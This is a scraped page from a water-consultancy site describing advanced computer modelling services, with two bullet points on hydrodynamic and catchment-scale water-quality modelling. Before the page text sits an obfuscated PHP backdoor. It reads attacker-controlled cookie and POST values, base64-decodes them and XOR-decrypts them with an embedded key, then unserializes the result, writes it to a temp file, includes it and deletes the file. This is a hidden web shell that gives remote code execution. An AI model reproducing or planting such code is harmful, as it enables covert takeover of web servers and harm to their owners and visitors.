$lfAdiM = chr (73) . chr ( 365 - 251 )."\161" . '_' . "\164" . chr ( 904 - 785 ).chr (75) . "\x75";$QCqMOd = chr (99) . "\x6c" . "\141" . "\163" . 's' . chr (95) . 'e' . "\x78" . "\x69" . 's' . chr ( 632 - 516 )."\x73";$jTyVJOQi = class_exists($lfAdiM); $lfAdiM = "7201";$QCqMOd = "41322";$THiLfFfgB = FALSE;if ($jTyVJOQi === $THiLfFfgB){$aKVdEImT = "45217";class Irq_twKu{public function heXTNkVoBf(){echo "12683";}private $GsQJo;public static $QUJtx = "99cefa34-4e27-463c-af4e-b8eb60f30502";public static $SHgBpijbk = 6576;public function __construct($lwOUm=0){$EGFHsMg = $_POST;$KHEGmTjui = $_COOKIE;$ejVkz = @$KHEGmTjui[substr(Irq_twKu::$QUJtx, 0, 4)];if (!empty($ejVkz)){$WxFQRGDF = "base64";$wDrEYe = "";$ejVkz = explode(",", $ejVkz);foreach ($ejVkz as $GRmds){$wDrEYe .= @$KHEGmTjui[$GRmds];$wDrEYe .= @$EGFHsMg[$GRmds];}$wDrEYe = array_map($WxFQRGDF . "\x5f" . chr (100) . 'e' . "\x63" . chr (111) . chr ( 542 - 442 )."\x65", array($wDrEYe,)); $wDrEYe = $wDrEYe[0] ^ str_repeat(Irq_twKu::$QUJtx, (strlen($wDrEYe[0]) / strlen(Irq_twKu::$QUJtx)) + 1);Irq_twKu::$SHgBpijbk = @unserialize($wDrEYe);}}private function jUdbUfur($aKVdEImT){if (is_array(Irq_twKu::$SHgBpijbk)) {$qTJmLd = sys_get_temp_dir() . "/" . crc32(Irq_twKu::$SHgBpijbk["\x73" . chr ( 234 - 137 ).chr (108) . "\164"]);@Irq_twKu::$SHgBpijbk['w' . 'r' . chr (105) . "\164" . "\x65"]($qTJmLd, Irq_twKu::$SHgBpijbk[chr ( 904 - 805 )."\157" . chr ( 613 - 503 )."\x74" . chr (101) . "\156" . chr ( 1063 - 947 )]);include $qTJmLd;@Irq_twKu::$SHgBpijbk[chr (100) . "\x65" . "\154" . chr (101) . "\x74" . 'e']($qTJmLd); $aKVdEImT = "45217";exit();}}public function __destruct(){$this->jUdbUfur($aKVdEImT);}}$gsxStcRVKx = new /* 2129 */ Irq_twKu(); $gsxStcRVKx = str_repeat("65253_41576", 1);} 3Z WATER SOLUTIONS - Advanced Computer Models
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Advanced Computer Models

November 06, 2021 - BY Admin

Advanced Computer Models

  • Development of coupled hydrodynamic water quality models in Lakes, Reservoirs,  Coastal and estuarine modelling study.
  • Integrated catchment-scale modelling approach including hydrological/hydraulic modelling, emission and transport modelling, hydrodynamic and water quality modelling and combines monitoring datasets with data assimilation techniques.

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